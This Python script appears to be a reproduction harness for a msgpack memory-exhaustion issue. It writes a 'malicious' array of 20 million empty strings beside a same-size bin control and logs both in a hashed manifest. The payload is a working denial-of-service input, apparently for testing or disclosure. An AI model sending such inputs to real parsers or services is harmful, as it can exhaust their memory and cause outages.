#!/usr/bin/env python3 from __future__ import annotations import hashlib import json from pathlib import Path import msgpack ROOT = Path(__file__).resolve().parent ARTIFACTS = ROOT / "artifacts" ENTRY_COUNT = 20_000_000 def sha256(path: Path) -> str: return hashlib.sha256(path.read_bytes()).hexdigest() def main() -> int: ARTIFACTS.mkdir(parents=True, exist_ok=True) malicious = msgpack.packb([""] * ENTRY_COUNT, use_bin_type=True) control = msgpack.packb(b"A" * (len(malicious) - 5), use_bin_type=True) control_path = ARTIFACTS / "control_bin32_same_size.msgpack" malicious_path = ARTIFACTS / "malicious_array32_empty_strings_20000000.msgpack" control_path.write_bytes(control) malicious_path.write_bytes(malicious) manifest = { "msgpack": msgpack.__version__, "entry_count": ENTRY_COUNT, "control": { "path": str(control_path), "size": control_path.stat().st_size, "sha256": sha256(control_path), "type": "bin32", }, "malicious": { "path": str(malicious_path), "size": malicious_path.stat().st_size, "sha256": sha256(malicious_path), "type": "array32", "element_count": ENTRY_COUNT, "element_value": "", }, "same_size_files": control_path.stat().st_size == malicious_path.stat().st_size, } (ARTIFACTS / "manifest.json").write_text(json.dumps(manifest, indent=2) + "\n") print(json.dumps(manifest, indent=2)) return 0 if __name__ == "__main__": raise SystemExit(main())